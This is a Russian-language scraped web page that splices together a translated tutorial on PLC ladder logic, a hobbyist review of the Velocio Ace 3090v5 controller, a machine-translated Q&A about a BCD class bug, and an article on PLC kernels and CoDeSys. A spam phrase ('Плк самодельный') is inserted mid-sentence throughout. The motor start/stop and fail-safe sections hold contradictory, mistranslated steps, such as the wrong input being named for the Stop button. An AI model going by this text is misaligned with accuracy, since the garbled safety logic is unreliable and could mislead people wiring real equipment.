Шесть винтовых клемм, расположенных с левой стороны, обеспечивают подключение для входных устройств. Каждая клемма представляет свой входной канал (Х). Винтовая клемма («общее» подключение) расположенная в левом нижнем углу обычно подключается к L2 (нейтральная) источника тока напряжением 120 В переменного тока.Плк самодельный: Самодельный плк

Внутри корпуса ПЛК, связывающего каждую входную клемму с общей клеммой, находится оптоизолятор устройства (светодиод), который обеспечивает электрически изолированный «высокий» сигнал для схемы компьютера (фототранзистор интерпретирует свет светодиода), когда 120-тивольтный переменный ток устанавливается между соответствующей входной клеммой и общей клеммой. Светодиод на передней панели ПЛК дает возможность понять, какой вход находится под напряжением:

Выходные сигналы генерируются компьютерной схемотехникой ПЛК, активируя переключающее устройство (транзистор, тиристор или даже электромеханическое реле) и связывая клемму «Источник» (правый нижний угол) с любым помеченным буквой Y выходом. Клемма «Источник» обычно связывается с L1. Так же, как и каждый вход, каждый выход, находящий под напряжением, отмечается с помощью светодиода:

Таким образом, ПЛК может подключаться к любым устройствам, таким как переключатели и электромагниты.

Основы программирования ПЛК

Современная логика системы управления установлена в ПЛК посредством компьютерной программы. Эта программа определяет, какие выходы находятся под напряжением и при каких входных условиях. Хотя сама программа напоминают схему логики реле, в ней не существует никаких контактов переключателя или катушек реле, действующих внутри ПЛК для создания связей между входом и выходом. Эти контакты и катушки мнимые. Программа пишется и просматривается с помощью персонального компьютера, подключенного к порту программирования ПЛК.

Рассмотрим следующую схему и программу ПЛК:

Когда кнопочный переключатель не задействован (находится в не нажатом состоянии), сигнал не посылается на вход Х1. В соответствие с программой, которая показывает «открытый» вход Х1, сигнал не будет посылаться и на выход Y1. Таким образом, выход Y1 останется обесточенным, а индикатор, подключенный к нему, погасшим.

Если кнопочный переключатель нажат, сигнал будет отправлен к входу Х1.Плк самодельный: Самодельный плк Все контакты Х1 в программе примут активированное состояние, как будто они являются контактами реле, активированными посредством подачи напряжения катушке реле, названной Х1. В этом случае открытый контакт Х1 будет «закрыт» и отправит сигнал к катушке Y1. Когда катушка Y1 будет находиться под напряжением, выход Y1 осветится лампочкой, подключенной к нему.

Следует понимать, что контакт Х1 и катушка Y1 соединены с помощью проводов, а «сигнал», появляющийся на мониторе компьютера, виртуальный. Они не существуют как реальные электрические компоненты. Они присутствуют только в компьютерной программе — часть программного обеспечения — и всего лишь напоминают то, что происходит в схеме реле.

Не менее важно понять, что компьютер, используемый для написания и редактирования программы, не нужен для дальнейшего использования ПЛК. После того, как программа была загружена в программируемый контроллер, компьютер можно отключить, и ПЛК самостоятельно будет выполнять программные команды. Мы включаем монитор персонального компьютера в иллюстрации для того, чтобы вы поняли связь между реальными условиями (замыкание переключателя и статусы лампы) и статусы программы (сигналы через виртуальные контакты и виртуальные катушки).

Истинная мощь и универсальность ПЛК раскрывается, когда мы хотим изменить поведение системы управления. Поскольку ПЛК является программируемым устройством, мы можем изменить, команды, которые мы задали, без перенастройки компонентов, подключенных к нему. Предположим, что мы решили функцию «переключатель — лампочка» перепрограммировать наоборот: нажать кнопку, чтобы выключить лампочку, и отпустить ее, чтобы включить.

Решение такой задачи в реальных условиях заключается в том, что выключатель, «открытый» при нормальных условиях, заменяется на «закрытый». Программное ее решение — это изменение программы так, чтобы контакт Х1 при нормальных условиях был «закрыт», а не «открыт».

На следующем изображении вы увидите уже измененную программу, при не активизированном переключателе:

А здесь переключатель активизирован:

Одним из преимуществ реализации логического контроля в программном обеспечении, в отличие от контроля с помощью оборудования, является то, что входные сигналы могут быть использованы такое количество раз, какое потребуется.Плк самодельный: Самодельный плк Например, рассмотрим схему и программу, разработанной для включения лампочки, если хотя бы два из трех переключателей активизированы одновременно:

Чтобы построить аналогичную схему, используя реле, потребуются три реле с двумя открытыми контактами при нормальных условиях, каждый из которых должен быть использован. Однако используя ПЛК, мы можем без добавления дополнительного оборудования запрограммировать столько контактов для каждого «Х» входа, сколько нам хотелось бы (каждый вход и выход должен занимать не больше, чем 1 бит в цифровой памяти ПЛК) и вызывать их столько раз, сколько необходимо.

Кроме того, так как каждый выход ПЛК занимает не более одного бита в его памяти, мы можем вносить контакты в программу, приводя Y выход в не активизированное состояние. Для примера возьмем схему двигателя с системой контроля начала движения и остановки:

Переключатель, подключенный к входу Х1, служит кнопкой «Старт», в то время как переключатель, подключенный к входу Х2 — кнопкой «Стоп». Другой контакт, названный Y1, подобно печати в контакте, позволяет контактору двигателя оставаться под напряжением, даже если отпустить кнопку «Старт». При этом вы можете увидеть, как контакт Х2, «закрытый» при нормальных условиях, появится в цветном блоке, показывая тем самым, что он находится в «закрытом» («электропроводящем») состоянии.

Если нажать кнопку «Старт», то по «закрытому» контакту Х1 пройдет ток ток и он отправит 120 В переменного токак к контактору двигателя. Параллельный контакт Y1 также «закроется», тем самым замкнув цепь:

Если мы теперь нажмем кнопку «Старт», контакт Х1 перейдет в «открытое» состояние, но двигатель будет продолжать работать, потому что замкнутый контакт Y1 все еще будет держать катушку под напряжением:

Чтобы остановить двигатель, нужно быстро нажать кнопку «Стоп», которая сообщит напряжение входу Х1 и «открытому» контакту, что приведет к прекращению подачи напряжения к катушке Y1:

Когда вы нажали кнопку «Стоп», вход Х1 остался без напряжения, вернув тем самым контакт Х1 в его нормальное «закрытое» состояние.Плк самодельный: Самодельный плк Двигатель ни при каких условиях не станет работать снова, пока вы снова не нажмете кнопку «Старт», потому что печать в контакте Y1 была потеряна:

Очень важна отказоустойчивая модель устройств контроля ПЛК, так же, как и в устройствах контроля электромеханического реле. Нужно всегда учитывать влияние ошибочно «открытого» контакта на работу системы. Так, например, в нашем случае, если контакт Х2 будет ошибочно «открыт», то не будет никакой возможности остановить двигатель!

Решением этой проблемы является перепрограммирование контакта Х2 внутри ПЛК и фактическое нажатие кнопки «Стоп»:

Когда кнопка «Стоп» не нажата, вход ПЛК Х2 находится под напряжением, т.е. контакт Х2 «закрыт». Это позволяет двигателю начать работу, когда контакту Х1 сообщается ток, и продолжать работу, когда кнопка «Старт» отпущена. Когда вы нажимаете кнопку «Стоп», контакт Х2 переходит в «открытое» состояние и двигатель прекращает работу. Таким образом, вы можете увидеть, что функциональной разницы между этой и предыдущей моделью нет.

Тем не менее, если входной контакт Х2 был ошибочно «открыт», вход Х2 может быть остановлен нажатием кнопки «Стоп». В результате двигатель немедленно отключается. Эта модель безопаснее, чем предыдущая, где нажатие кнопки «Стоп» сделает невозможным остановку двигателя.

В дополнение к входам (Х) и выходам (Y) в ПЛК есть возможность использовать «внутренние контакты и катушки. Они используются так же, как и промежуточные реле, применяемые в стандартных релейных схемах.

Чтобы понять принцип работы «внутренних» схем и контактов, рассмотрим следующую схему и программу, разработанную по принципу трех входов логической функции AND:

В данной схеме, лампа горит, до тех пора пока какая-либо из кнопок не нажата. Для того чтобы выключить лампу следует нажать все три кнопки:

В этой статье, посвященной программируемым логическим контроллерам, иллюстрирована лишь небольшая выборка их возможностей. Как компьютер ПЛК может выполнять и другие расширенные функции с гораздо большей точностью и надежностью, чем при использовании электромеханических логических устройств.Плк самодельный: Самодельный плк Большинство ПЛК имеют больше шести входов и выходов. Следующая иллюстрация показывает один из ПЛК компании Allen-Bradley:

С модулями, каждый из которых имеет 16 входов и выходов, этот ПЛК имеет возможность управлять десятком устройств. Помещенный в шкаф управления ПЛК занимает мало места (для электромеханических реле, выполняющих те же функции, понадобилось бы гораздо больше свободного пространства).

Одно из преимуществ ПЛК, которое просто не может быть продублировано электромеханическим реле, является удаленный мониторинг и управление через цифровые сети компьютера. Поскольку ПЛК — это ничего больше, чем специализированный цифровой компьютер, он может легко «общаться» с другими компьютерами. Следующая фотография — графическое изображение процесса заполнения жидкостью (насосная станция для муниципальной очистки сточных вод), контролируемого ПЛК. При этом сама станция расположена в нескольких километрах от монитора компьютера.

Перевод с английского — Юлия Сурта.

Я занимаюсь разработкой программ для программируемых логических контроллеров(ПЛК) в промышленных автоматизированных системах управления технологическими процессами(АСУ ТП).

Для тех, кто сталкивается с этим словом впервые, поясню. ПЛК это специальный мини-компьютер, который работает так:
1. Принимает входные дискретные (Di) или аналоговые (Ai) сигналы;
2. Обрабатывает эти сигналы по заданной программистом программе;
3. Выдает управляющий сигнал через дискретные (DO) или аналоговые (AO) выхода.

Дискретный — когда у сигнала может быть только 2 состояния: 0 или 1, «да» или «нет». Например, кнопка нажата или отжата, лампочка включена или выключена.
Аналоговый — когда значение параметра зависит от уровня электрического сигнала. Например, чем выше уровень сигнала (вольт или миллиампер) от датчика температуры, тем больше измеряемая температура.

Применяются ПЛК в основном в промышленности, станках, системах домашней автоматизации «умный дом» и т.д.

Естественно, в силу профессии меня интересует все, что касается ПЛК и другого оборудования, применяемого в АСУ ТП.Плк самодельный: Самодельный плк Как-то, бродя по сети, я зашел на сайт американской компании Velocio , которая производит ПЛК серий Ace, Branch, Embeded.

Главные фишки этих контроллеров — маленький размер, всего 2.5″» x 2.5″», питание 5 вольт и цена от 49$ за модель с 6 дискретными входами и 6 дискретными выходами. Особенно впечатлил размер, такого маленького ПЛК я еще не встречал:

ПЛК меня заинтересовал, я связался с компанией Velocio и мне прислали контроллер модели Ace 3090v5. Хотелось бы вкратце рассказать об этом ПЛК и более широкой аудитории Хабра. Забегая вперед скажу, что ПЛК компании Velocio лучше всего подходят для «умных домов» и прочих систем домашней автоматизации.

Вот ко мне пришла посылочка с контроллером прям из города Хантсвилл, штат Алабама:

Состав посылки:
1. ПЛК Velocio Ace 3090v5, $179
2. Крепление на DIN-рейку, $5
3. Коннекторы сигнальных линий (3,4,8 pin, шаг 2.5 мм), 6 шт., $6*3
4. Отвертка плоская, жало 1.5 мм, бесплатно
5. Коннектор питания (2 pin, шаг 2.5 мм), $2
6. Кабель USB Am-miniB, $5

Кабель USB для программирования Ace не обязательно покупать в Velocio, это обычный кабель USB Am-miniB, который продается в любом компьютерном магазине. Коннекторы тоже можно поискать в другом месте, но крепление на DIN-рейку уникально и его нужно покупать вместе с контроллером.

Ожидания Ace 3090v5 оправдал, он действительно очень маленький:

Характеристики:

НазваниеVelocio Ace 3090v5
НазначениеПЛК для домашней и промышленной автоматизации
Кол-во DI6
Кол-во DO18, транзисторные
AIКол-во, всего7
Кол-во AI 16 бит/ тип4/ Термопары J, K, T, N;
±0.256 V, ±0.512 V, ±1.024 V, ±2.048 V
Кол-во AI 12 бит/ тип 3/ 0…+5 V
Порты связиMini USB(может работать по Modbus), RS-232
Протоколы передачи данныхModbus RTU slave
Скорость передачи данных, bps9600, 19200, 38400, 57600
КреплениеDIN-рейка
Питание5 V DC
Габариты63.Плк самодельный: Самодельный плк 5х63.5х12.7 мм
Температура эксплуатации-40… 85°С
Степень защиты IPIP65
Среда программированияVelocio vBuilder, бесплатная
Цена179 $
Конструкция

При своих размерах, контроллер в общей сумме имеет 31 вход и выход, порт последовательной связи RS-232 и порт Mini USB для загрузки программ и связи с внешними устройствами.

Спереди на корпусе видны светодиоды индикации питания и состояния дискретных входов и выходов:

Сзади на корпусе имеются выемки для монтажа крепления на DIN-рейку:

На боковых стенках корпуса находятся порты для подключения всех сигналов через разъемы. Порты маркируются литерами A, B, C, D, E, F:

Подключение проводов происходит через коннекторы COMBICON PTSM Series фирмы Phoenix Contact с шагом ножек 2.5 мм (0.098″»):

Вставляются провода в коннектор с помощью идущей в комплекте с ПЛК отверткой так:

Дискретные выхода- транзисторные, на то есть такие причины:

  • реле в корпус контроллера все равно не поместится
  • для обеспечения большого быстродействия, например при управлении шаговыми двигателями

Естественно, для коммутации электрической сети 220 В транзисторные выхода не подходят и нужно после них ставить промежуточные реле. Можно купить модули с промежуточными реле там же у Velocio, при покупке ПЛК. А можно сэкономить и купить на ебее аналогичные китайские платы , как сделал я:

Аналоговые входа (Ai) в Ace 3090v5 разделены на 2 группы:

  • 3 Ai с общей землей в порту A, диапазон входных сигналов 0… 5 V
  • 4 Ai дифференциальных в порту F, подключение датчиков температуры(термопар) типа J, K, T, N, а так же милливольтных сигналов

Вот я подключил на вход Ai F1 термопару типа «К» от китайского тестера и вывел значение температуры на ноутбук:

Кстати, в этом примере я термопару в контроллере не калибровал.Плк самодельный: Самодельный плк Тем не менее, показания температуры соответствовали значениям спиртового градусника, который выступал у меня в роли контрольного прибора.

Ace отличается маленьким энергопотреблением: 5 В при макс. силе тока до 0.3 А. То есть, в качестве блока питания можно использовать 5-вольтную зарядку для мобильника.

Программирование

Разработка программ осуществляется через бесплатную среду программирования vBuilder . В пакете установки находится так же драйвер виртуального COM-порта, необходимый для подключения контроллера к компьютеру:

Изучение vBuilder лучше начать с просмотра видеоуроков . Есть так же полная документация на английском языке под названием «vBuilder Manual» в несколько сотен страниц.

Разработка программ возможна на двух графических языках: языке релейной логики(Ladder Logic) и языке блок-схем(Flow Chart).

Язык релейной логики (Ladder Logic) это хорошо известный всем программистам ПЛК язык , который является одним из стандартизированных по стандарту IEC 61131-3 промышленным языком.
LD придумали специально для того, что бы на нем писали программы не только программисты, но и обычные электрики. Программа на LD и выглядит, как электрическая схема:

Это легкий для изучения и работы язык.

Язык блок-схем (Flow Chart) это графический язык, на котором программа создается в виде блок-схем :

Блок-схемы и принципы их построения многие помнят еще со времен информатики в школе. Например, я закончил 11 класс в 1999 году, в мрачные времена постсоветского компьютерного средневековья. Тогда фирма «Интел» уже торговала процессорами Pentium-II, Билл Гейтс продавал Windows 98, а в нашей школе стояли советские компы «Электроника» с черно-белыми экранами. Большую часть урока мы сидели за партой и рисовали программы в тетрадях именно блок-схемами. Потом переводили их на бейсик, садились за «Электронику» (по 4 человека на машину) и уже после вводили в компьютер. А в других школах вообще компьютеров не было.

Так что для начинающих язык Flow Chart даже легче, чем LD.Плк самодельный: Самодельный плк При этом, по моему мнению, он нагляднее и позволяет создавать более сложные программы. Кстати, блок-схемы я часто использую и сейчас, работая с различными ПЛК. Когда мне нужно продумать какой-нибудь сложный алгоритм, я сначала рисую блок-схемы на листике, а потом уже перевожу их в программу на конкретном языке.

В обоих языках программирования доступны одни и те же программные блоки:

  • сравнение(,= и др.)
  • присваивание с возможностью ввода формул
  • копирование
  • счетчик
  • таймер
  • часы реального времени
  • цифровой фильтр
  • чтение энкодеров
  • управление шаговым двигателем
  • ПИД-регулятор
  • плавный пуск/останов
  • масштабирование
  • побитовый сдвиг и «переворот» числа
  • статистика
  • управление com-портом для реализации собственных протоколов передачи данных
  • вызов подпрограмм

В качестве «быстрого хэлпа» по программным блокам используется та же страница загрузки vBulder . Просто жмешь по пиктограммам соответствующих блоков vBuilder справа на странице и читаешь, как они работают:

Если с английским совсем туго, на помощь придет переводчик браузера Ghrome: правая кнопка мыши-> перевести на русский. Перевод технический, но смысл будет понятен.

Доступные возможности при программировании:

  • создание собственных переменных (тэгов) типа bit, unsigned int 8/16 bit, signed int 16/32 bit, float;
  • создание массивов;
  • создание подпрограмм;
  • причем, подпрограммы здесь это объекты по типу FB как в Step-7 и Codesys;
  • каждому входу/выходу и тэгам можно назначить адрес для передачи их значений по Modbus;
  • cвязь по Modbus с ПК, сенсорными панелями и др. по Modbus в режиме slave; возможно подключение по Modbus к 2-м мастер-устройствам одновременно;
  • возможность реализовывать собственные протоколы передачи данных по RS-232;
  • отладка программы по шагам.
Подключение Ace к компьютеру и сенсорным панелям

Для связи с внешними устройствами по сети в Ace 3090v5 имеется 2 порта: RS-232 и USB.Плк самодельный: Самодельный плк Оба этих порта могут передавать данные по протоколу Modbus RTU slave. Одновременно к Ace могут быть подключены 2 мастер устройства. Например, компьютер по USB, а сенсорная панель по RS-232. Для управления с компьютера применяются специальные программы типа SCADA , но можно и на каком-нибудь визуал бейсике программу написать.

RS-232 это старый добрый COM-порт компьютера. Раньше в него мыши подключались. Для подключения компьютера к Ace я и нашел старую комовскую мышь с шариком, отрезал от нее хвост и подключил его к 3-пиновому разъему RS-232 Aсe вот по такой схеме:

Если в компьютере нет COM-порта, нужно купить любой преобразователь USB/RS-232 по цене около $8.

Варианты реализации обмена данными Ace с внешними устройствами:

  • по внутреннему протоколу Ace для связи с компьютером, на котором установлена бесплатная SCADA vFactory;
  • по универсальному протоколу передачи данных Modbus RTU для связи с компьютерами, сенсорными панелями и другими ПЛК;
  • по собственному протоколу, реализованному программным путем в контроллере.

Бесплатная СКАДА vFactory работает только с ПЛК компании Velocio, потому что использует не Modbus, а внутренний закрытый протокол контроллеров. Документации на vFactory нет, чтобы ей овладеть, достаточно одного видеоурока . Очень простая СКАДА без скриптового языка и возможности ведения архивов. Панель инструментов невелика:

Зато, можно быстро сделать работающую программу без особых навыков программирования:

Если возможностей vFactory маловато, можно подключить по протоколу Modbus RTU любую другую SCADA. Например, в ролике с термопарой, я применил SCADA Trace Mode 6 Base.

Можно в Ace запрограммировать и собственный протокол передачи данных, этому посвящен отдельный видоурок .

ПЛК Ace в домашней автоматизации

Думаю, этот контроллер хорошо себя покажет в системе «умный дом». Плюсы контроллера: маленький размер, малое энергопотребление, питание всего от 5 В, множество дискретных выходов, возможность подключения термопар, 2 порта связи с внешними устройствами, легкость программирования, большое количество разных программных блоков.Плк самодельный: Самодельный плк

Если контроллер Ace понравился, но 6 дискретных входов маловато, можно присмотреться к серии Branch — тот же Ace, только с возможностью подключения модулей расширения (до 450 входов/выходов). Впрочем, это уже без меня — мне пока хватит поиграться Ace.

Теги:
Добавить метки

Самодельный класс BCD — умножение ошибки BCDs

Я делаю класс BCD в качестве упражнения для школы и сталкиваюсь с некоторыми проблемами. Ниже приведен мой класс BCD.

Моя проблема связана с методом multiplyBCDs.
Он прекрасно работает с меньшими числами, такими как 4,329 * 4, однако с более крупными продуктами, такими как продукт 4,329 и 29,385, я получаю ошибку NullPointerException в первой строке моего метода addBCDs:

int[] added = new int[other.numberOfDigits()];

Я попытался проследить эту проблему и не смог найти ее. Почему я получаю эту ошибку и как я могу ее исправить?

Спасибо за помощь!

multiplication

addition

bcd

Поделиться

Источник


swallow    

05 ноября 2014 в 20:41

2 ответа


  • Почему BCD = Decimal в ПЛК?

    Этот вопрос является производным от моего предыдущего вопроса SO . Меня смущает интерпретация PLC BCD и decimal. В документации PLC это каким-то образом подразумевает BCD = decimal: Инструкция читает содержание D300, 0100, как BCD. Ссылаясь на ответ Cyber Slueth Omega и онлайн-конвертер BCD -Hex,…

  • Преобразование двоичного числа в 4 BCD цифр — как работает деление?

    Я изучаю assembly для Motorola 68000 CPU. Книга, которую я использую: 68000 Assembly языковое Программирование, второе издание, Левенталь, Хокинс, Кейн, Крамер и симулятор EASy68k. У меня есть несколько вопросов о преобразовании двоичного числа в BCD (двоично-десятичное кодирование). Оригинальная…



0

int[] added = new int[other.Плк самодельный: Самодельный плк numberOfDigits()];

Единственный способ, которым вы можете получить NPE на этой линии, — это если other -это null.

Поделиться


Marquis of Lorne    

05 ноября 2014 в 21:07



0

В методе:

public BCD multiplyBy(int num)

В последнем операторе else никогда не выполняется следующее условие:

if (x == digits.length - 1 && carry != 0)

и поэтому «ans» никогда не устанавливается и остается null.

Поделиться


Robert Bain    

05 ноября 2014 в 22:11


Похожие вопросы:

Числовое деление с использованием формата BCD

У меня есть два объекта std::deque, содержащих (распакованные) номера BCD. Каждый байт — это одна цифра BCD. Размер не ограничен, но есть MAX_SCALE = 10, поэтому 1/3 должна привести к 0.3333333333….

C# Byte[] — BCD и BCD — INT

У меня есть файл Hex, созданный машиной CashRegister. Я должен прочитать этот файл. Файл использует форматирование, подробно описанное ниже. Это похоже на пакеты сокетов. Код Данных : 2 Байта Данные…

Как преобразовать поплавок в BCD

Как конвертировать положительный плавающей точкой (по IEEE 754 одинарной точности 32 бита) до BCD в C#? UPDATE Если я не ошибаюсь, то то, что мне нужно, называется упакованным BCD. Я уже делаю…

Почему BCD = Decimal в ПЛК?

Этот вопрос является производным от моего предыдущего вопроса SO . Меня смущает интерпретация PLC BCD и decimal. В документации PLC это каким-то образом подразумевает BCD = decimal: Инструкция…

Преобразование двоичного числа в 4 BCD цифр — как работает деление?

Я изучаю assembly для Motorola 68000 CPU. Книга, которую я использую: 68000 Assembly языковое Программирование, второе издание, Левенталь, Хокинс, Кейн, Крамер и симулятор EASy68k.Плк самодельный: Самодельный плк У меня есть…

Я хочу использовать самодельный класс в android

В настоящее время я новичок в разработке Android, и мне трудно использовать самодельный класс в моем классе MainActivity Android. Позвольте мне привести вам пример; Я создал класс SquareArea и хочу…

BCD арифметические операции

Я написал функцию, которая преобразует двойник в BCD (BCD: сохраните каждую цифру двойника как символ без знака, кроме того, сохраните полную длину, дробную длину (часть за плавающей точкой) и знак…

Преобразование Hex в BCD

Чтобы преобразовать (213AFE)H в BCD, сначала он должен быть преобразован в двоичный код, который дает (2177790)D . Теперь каждая цифра преобразуется в свой код BCD, который дает (0010 0001 0111 0111…

16бит в BCD преобразования

Я пытаюсь сделать преобразование 16 бит в BCD. Я нашел эту ссылку на 8 бит и пытаюсь преобразовать ее в 16 бит. http://vhdlguru.blogspot.nl/2010/04/8-бит-двоичный в двоично-конвертер-double.html Я…

Кодировка Wireshark dissector для упакованного BCD

Написание плагина Wireshark dissector на языке C++. Протокол, который я пытаюсь разобрать, использует необычный упакованный формат binary-coded-decimal для всех своих целых чисел. Обычно, когда я…

Маленькие ядра для большой артиллерии. Программируемые логические контроллеры ПЛК — Компоненты и технологии

Программируемые логические контроллеры (ПЛК) — это базовые элементы систем
промышленной автоматики. Сегодня на их основе построены все АСУ ТП, системы
мониторинга, контроля функционирования, телеметрии, обеспечения безопасности
и многие другие.

Мозгом ПЛК является вычислительное ядро,
возможно, такое же, как и в обычном персональном компьютере (ПК). Принципиальное их отличие в том, что ПК ориентирован на работу с человеком, контроллер же работает с технологическим оборудованием.Плк самодельный: Самодельный плк Средством ввода для
него являются разнообразные датчики состояния,
положения, скорости, температуры, давления, уровня и т. д. [1]. Результатом работы ПЛК является воздействие на управляющие органы: реле, пускатели,
двигатели, регуляторы, клапаны, задвижки и др.

Иногда контроллеры (ПЛК) путают с микроконтроллерами. На самом деле это принципиально разные
вещи. Микроконтроллер — это микросхема, а ПЛК—
законченное изделие в корпусе (рис. 1). Выходы ПЛК
способны коммутировать токи до десятков ампер, оснащены гальванической развязкой, защитой от перегрузок, средствами самодиагностики. Определение ПЛК и основные его характеристики описаны в международном стандарте МЭК 61131-1 [2].

Рис.1. ПЛК

Еще одним отличием, внешне менее заметным,
является принципиально иной подход к программированию. Для работы с микроконтроллером нужно детально разобраться с его устройством, ассемблером, уймой системных регистров, временными
диаграммами периферийных устройств. Посмотрите интернет-конференции по программированию микроконтроллеров — вы не найдете там обсуждения высокоуровневых прикладных алгоритмов. Зато в изобилии описаны проблемы и «глюки»
конкретных типов микроконтроллеров. На борьбу
с этим уходит большая часть времени программиста. Половину из ее остатка отнимает изучение влияния на программу «оптимизации разводки печатной платы» и т. п.

Для программирования ПЛК применяются 5 стандартных языков, 3 из которых графические [3].
То есть программа не вводится с клавиатуры, а «рисуется» или компонуется из готовых модулей (рис. 2).
Языки ПЛК определены стандартом МЭК61131-3.
Все они являются аппаратно независимыми. Для всех
типовых задач предусмотрены наборы готовых решений, составляющие стандартные библиотеки.

Рис. 2. Пример программирования ПЛК в CoDeSys

Программист ПЛК думает только о прикладной задаче. На каком процессоре выполнен контроллер и что внутри, его не интересует абсолютно. Более того, для работы с ПЛК профессиональный программист вообще не требуется.Плк самодельный: Самодельный плк
Вся технология контроллеров нацелена на то,
чтобы быть доступной даже неспециалистам
в области информатики. Любой грамотный инженер-технолог (например, зоотехник) вполне
способен реализовать необходимый ему алгоритм управления оборудованием самостоятельно. Практика доказывает, что это действительно так. После некоторой работы с МЭК-языками возврат к ассемблеру воспринимается так
же, как и перспектива собрать компьютер
на транзисторах МП39.

Возможно, вас уже утомило столь пространное введение. Давайте обратимся к трем простым практическим вопросам. Существуют ли
в нашей повседневной практике задачи, где
нужно применять контроллеры? Что дешевле — ПЛК или специализированная плата на
микроконтроллере? Можно ли сделать ПЛК
своими руками, опираясь на оборудование,
имеющееся в небольшой ремонтной мастерской или даже домашней лаборатории?

ской или даже домашней лаборатории?
Первый вопрос прост. Контроллеры сегодня
применяются везде. Любая современная стиральная машина, автомобиль с инжекторным
впрыском, лифт, электронный замок и даже
телевизор имеют в своем составе контроллер,
управляющий логической частью. Число задач для контроллеров огромно не только
в сложных промышленных установках,
но и в быту. Появился даже специальный термин «малая автоматизация» [4]. Здесь же вы
найдете и детальное руководство по проектированию таких систем на микроконтроллерах.

Второй вопрос не столь очевиден. Большинство ПЛК — это совсем недешевые изделия,
но они обладают широчайшей универсальностью и высокой надежностью. ПЛК незаменим
в системах, где алгоритм управления меняется
часто, и время его коррекции (простой дорогостоящего оборудования) является очень важным. Хорошие ПЛК имеют удобные средства
монтажа, выполнены в соответствии с жесткими требованиями различных отраслей. В системах малой автоматизации ПЛК не получили
распространения. Они здесь избыточны и дороги. Конечно, иногда очень хочется и из пушки по воробьям, и в булочную на такси, но…

На самом деле, существует компромиссное
решение, позволяющее применить всю мощь
технологии ПЛК в любых конструкциях.Плк самодельный: Самодельный плк Ответ
на третий вопрос — да. Причем без оговорок.
То есть наша цель — это не создание сильно
усеченного прототипа, похожего на ПЛК. Речь
идет об устройстве, обладающем функциональными возможностями, присущими продукции
мировых брендов.

Решение состоит в замене микроконтроллера вместе с традиционной обвязкой на устройство, объединяющее аппаратное ядро
и программное обеспечение ПЛК.

Ядро ПЛК

Идея собрать микроконтроллер со всей необходимой обвязкой на миниатюрную универсальную мезонинную плату не нова. В России наиболее известным изготовителем таких модулей является компания «Каскод»
(www.kaskod.ru). Модули (контроллеры) ее
производства построены на быстродействующих 16-разрядных микроконтроллерах Infineon.
Они включают мощное вычислительное ядро,
достаточную внешнюю память (ОЗУ и Flash),
встроенный и внешний АЦП, часы реального
времени, интерфейс RS232 и универсальную
магистраль расширения. Большинство модулей поддерживают промышленную сеть CAN,
причем даже с гальванической развязкой и элементами защиты.

Все это собрано на плате размером со спичечный коробок (рис. 3). Интересно, что все
детали схемы просто не раскладываются
(в один слой) на плате таких размеров.
«Не раскладываются» они и по цене при покупке комплектующих изделий в розничном
магазине. Причем нет гарантии, что они всегда есть в наличии.

Рис. 3. Микропроцессорный МЭКконтроллер

Применение миниатюрных мезонинных
микропроцессорных контроллеров снимает
проблемы комплектации, отладки аппаратуры, достижения минимальных габаритов без
приобретения дорогостоящего оборудования
и многослойных печатных плат. Силовую
часть схемы не представляет труда выполнить
на обычной двусторонней печатной плате.
При этом достигаются и приемлемые габариы и хорошая ремонтопригодность изделия.

Принципиально новым решением для отечественного рынка является серия микропроцессорных МЭК-контроллеров, разработанная
совместно компаниями «Пролог» и «Каскод».Плк самодельный: Самодельный плк
Фактически это те же контроллеры, но оснащенные встроенной системой поддержки программирования МЭК 61131-3 CoDeSys SP.
В комплект поставки включен CD с системой
программирования CoDeSys, подробной документацией, набором библиотек и лицензией изготовителя. Наличие лицензии гарантирует техническое сопровождение.

Как мы уже сказали, применение МЭК-контроллеров является самым быстрым способом
создания специализированных систем управления при минимальных затратах. Но есть
и еще одно фундаментальное отличие, выделяющее МЭК-контроллеры в отдельный класс
устройств — аппаратно-программные ядра
ПЛК (в зарубежных источниках — PLC kernel).
Полноценную возможность программирования получает не только изготовитель такой
системы, но и конечный пользователь.

CoDeSys

CoDeSys — это универсальный комплекс
МЭК-программирования высшего класса
от немецкой компании Smart Software Solutions
(3S). Сегодня CoDeSys занимает лидирующие
позиции на рынке систем программирования
ПЛК в Европе. Внутренняя структура этого
комплекса достаточно сложна (как, например,
MS Office), но с точки зрения пользователя он
очень прост в освоении.

Комплекс CoDeSys включает специализированные редакторы МЭК-языков и конфигуратор контроллера, обеспечивает поддержку промышленных сетей и многое другое [3].
Основная его отличительная особенность — это встроенный компилятор кода. МЭК-программы непосредственно преобразуются в машинные коды микропроцессора. В итоге достигается очень высокое быстродействие прикладных проектов. Помимо этого, комплекс
обеспечивает многозадачность в прикладных
проектах (циклические и вызываемые по событиям задачи). Среда программирования
имеет встроенный графический интерактивный отладчик и эмулятор, многоканальный
графический анализатор, встроенную систему
визуализации объекта и программы управления (на ПК, в контроллере и через Интернет),
развитый набор библиотек. Обеспечивается
горячая коррекция кода прикладной программы без остановки работы контроллера!

CoDeSys ориентирован на применение
в ПЛК среднего и высшего класса.Плк самодельный: Самодельный плк Практика
показала, что на популярных 8-разрядных микроконтроллерах (8051, PIC, AVR) можно построить универсальный ПЛК только с определенными ограничениями (вычисления
с плавающей запятой, размер памяти, поддержка сетей). 16-разрядные микроконтроллеры позволяют создать ПЛК, обладающий
всеми необходимыми возможностями. Таким
образом, сочетание CoDeSys SP и микроконтроллеров Infineon является оптимальным решением, позволяющим получить отличные
технические характеристики контроллера.

Среду программирования CoDeSys и документацию на русском языке можно бесплатно загрузить с сайта компании «Пролог»
www.prolog.smolensk.ru. Здесь же вы найдете более подробное описание и демонстрационные версии программного обеспечения для
микропроцессорных контроллеров.

Литература

  1. Болтон У. Карманный справочник инженера-метролога. М.: Додека-XXI. 2002.
  2. ГОСТ Р 51840-2001 (МЭК 61131-1-92). Программируемые контроллеры. Общие положения и функциональные характеристики.
  3. Петров И. В. Программируемые контроллеры. Стандартные языки и приемы прикладного проектирования / Под ред. проф.
  4. П. Дьяконова. М.: СОЛОН-Пресс. 2004.
  5. Николайчук О. И. Системы малой автоматизации. М.: СОЛОН-Пресс. 2003.

Все, что вам нужно знать, прежде чем работать над простым проектом ПЛК

Сводка

